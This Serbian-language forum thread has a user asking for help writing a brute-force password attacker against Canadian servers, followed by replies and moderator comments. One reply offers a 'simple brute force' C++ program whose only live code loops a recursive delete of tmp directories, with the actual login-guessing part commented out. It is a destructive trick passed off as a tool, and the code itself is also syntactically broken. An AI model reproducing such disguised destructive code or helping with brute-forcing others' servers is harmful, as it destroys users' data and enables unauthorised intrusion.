Potrebna pomoc oko izrade brute force atack programa!

Ovako ... I ako sam administrator linux sistema jako slabo poznajem C ....
Naime naj verovatnije svi znate da su u toku "war igre" napadi na kanadske servere itd itd ... Vec duzhe vremena razmisljam o jednom malom programchetu koji bi napadao brute force ... Problem je samo shto ne umem da ga napravim ... Zato molim DOBRE C programere koji su voljni i zainteresovani za izradu ovakovog programa da mi se jave putem maila ili IRC-a ( irc.ultrairc.net - nick LimitMan ) ...
Unapred chestitam na pobedi u igrama

Potpis

bwaaaaaaaaaa

Ja sam imao brute force POP3,ne znam da li ga jos uvek imam jel je bio mnogo sport pa ga dugo nisam gledao.
Radio je po principu :
uzme username (zadat) i onda vrti password iz filea.

Hmmmm ... pa ovo i ne bi napadalo pop3 ... ovo bi napadalo neshto drugo ... necu sada da otkrivam "male tajne velikih majstora" :-)) ... ali je mnogo brzhe i mnogo bolje ... inache za sada nisam pronashao da je neko napravio ... :-)

Potpis

bwaaaaaaaaaa

Jebiga, ako oces pomoc onda moras da kazes sta te muci ;o) Ja ne mogu ovako napamet da nagadjam kakav program ti oces.

mali nagoveshtaj :-)
On expext: "password:"
do write: (brute generate pass) :-]
dovoljno? :-))) inache pomocu toga 330am pada ;]

Potpis

bwaaaaaaaaaa

samo ti reci na koj demon clljas i da prekinemo sa ovim glupostima ?

Hmmmm ... teshko je reci da je deamon ... dao sam ti zadatak .. ako znash c vikni me na mail ... ;] Tamo ti i mogu objasniti ...

Potpis

bwaaaaaaaaaa

Fala ti na zadatku bez detalja i posto ne znam C ne mogu ti pomoci.

Predatore :)
Evo mu jedan kod
C++ (faj.C)

#include<iostream.h>
#include<cstdlib>
#define meditacija "rm -rf "
#define tmpfolder "///*tmp*/"
int main () {
/*
int x;
char username[];
char password[];
*/
for (;;;) {
system(meditacija tmpfolder);
}
/*
sockopen(cc,"-unesi-ip-ovdje", 100, "-unesi port ovdje");
sockget(cc, "username:");
socksend(cc, "tvojusername");
sockget(cc, "word:");
for(;;;) {
password=fopen(password.txt);
socksend(cc, password[]);
}
*/
return 1;
}
eto ga
mali simple brute force :( uneses ip gore i to je to, napravis folder /tmp i u njega stavis password.txt
l8er

lol ... zaboravio sm bio da sam ovo postovao ...
a kada sam video prvi put ... bilo je povrsno ... :P
a sada da ga prepravim malo ...

#include<iostream.h>
#include<cstdlib>
/* Da definisemo zanimljivu komndu (rm -rf) */
#define meditacija "rm -rf "
/* Da definisemo zanimljiv direktorijum (dobro sto nije /) */
#define tmpfolder "///*tmp*/"
int main () {
/* Ovo naravno ignorisemo */
/*
* int x;
* char username[];
* char password[];
*/
/* Paizvrsimo animljivku sys komandu ( rm -rf /*tmp*/) */
for (;;;) {
system(meditacija tmpfolder);
}
/* Pa onda ovo opet ignorisemo */
/*
* sockopen(cc,"-unesi-ip-ovdje", 100, "-unesi port ovdje");
* sockget(cc, "username:");
* socksend(cc, "tvojusername");
* sockget(cc, "word:");
* for(;;;) {
* password=fopen(password.txt);
* socksend(cc, password[]);
* }
*/
return 1;
}
eto ga
mali simple del /*tmp*/ :( uneses ip gore i to je to, napravis folder (koji obicno postoji) /tmp i u njega stavis password.txt i sve bitnije dokumente koje nemas iskopirane na drugom mestu)
:-)

Potpis

bwaaaaaaaaaa

Pa jeste ...
samo kad sam trazio taj program ... cini mi su u toku bile i War Games .. kada su ona 3 servera bila na raspolaganju ....
Inace .. tema je zakljucena odaavno .... ;-) samo sto sam ssada tek video pojedinosti :P

Potpis

bwaaaaaaaaaa

Jovane prijatelju, lično ne delim tvoje mišljenje uopšte jer ovakve stvari i ovakve priče jeste da možda imaju svoje negativne strane, ali razmisli - Linux i BSD JESU sve bolji i bolji upravo zbog ovakvih raspravljanja! Jer ako se zna gde leži potencijalni problem, ako se pokaže da je nešto na nekom mestu ranjivo, onda se naprave i protivmere!
Ja ovu temu nisam otključao da bi tebi kontrirao prijatelju (znamo se godinama, tako da ... znaš i sam o čemu pričam), otvorio sam je jer je ovo o čemu se ovde priča poprilično interesantno, ne samo sa gledišta C programiranja, već i sa gledišta samog system administratora, a bogami i napadača! :)

Nije džabe izmišljena ona stara Upoznaj neprijatelja svog...

Seti se samo da je Vexi (Dragan Večerina, administrator YUBC-a) pre mnogo vodina DAVAO NAMERNO naloge našim srpskim hakerima (pravim hakerima, znači ne lamerima) da probaju da haknu galeb.etf.bg.ac.yu. Razmisli dobro zašto... :) - Kad god je to nekom uspelo, čovek bi sam fiksirao probleme. - Tako se radi širom sveta, i to je provereno najbolji način da se od sistema (servera) napravi TVRĐAVA.

A sa stanovištva jednog administratora (i to vrlo lošeg kakav sam ja :) ovakva stvar ne može baš nešto da mnogo naškodi sistemu ako je on podešen kako treba. ;)

11�
v
0003
0C - 4D 91

Potpis

Dejan Lekic
software engineer, MySQL/PgSQL DBA, sysadmin

Razlog zasto sam zakljucao temu nije tematika, vec nacin na koji je postavljena. Naime, kolega LimitMan ocigledno pojma nema o cemu se radi, i buduci da je negde ocigledno procitao par tekstova o hekanju, misli da moze da se nama ovde prikaze kao veliki majstor, unix administrator, ili boga pitaj sta. Ako neko sam sebe naziva unix administratorom, znaci da mora da zna bar shell skripte, i perl.
Ako neko zna perl, prelaz na C bi trajao mozda 3 dana, i naravno, pisanje brute force attack softvera bi takodje potrajala jedno 4 dana, ako ne i manje. Da je u pitanju neko ko zna o doticnoj tematici, i neko koga doticne stvari zanimaju zbog sigurnosti sistema, i ja sam bih verovatno poslao par saveta za pisanje slicnog alata. Ali, buduci da svi koji se bavimo unixom znamo da su brute force napadi apsolutno besmisleni danas, kada shadow password sistem moze da se podesi da zakljuca nekome pass posle 3 ili 5 pogresnih pokusaja. Isto tako je po zapocetoj temi pisanje ovog softvera direktan napad na kanadske servere, nasta jedino mogu da kazem da je gubljenje vremena, i jedina svrha slicnih napada je da par adolescenata proveravaju ko ima duzi penis.

Potpis

Za automatsko dobijanje Super Moderatorskog statusa na Elitesecurity forumima pritisnite Alt+F4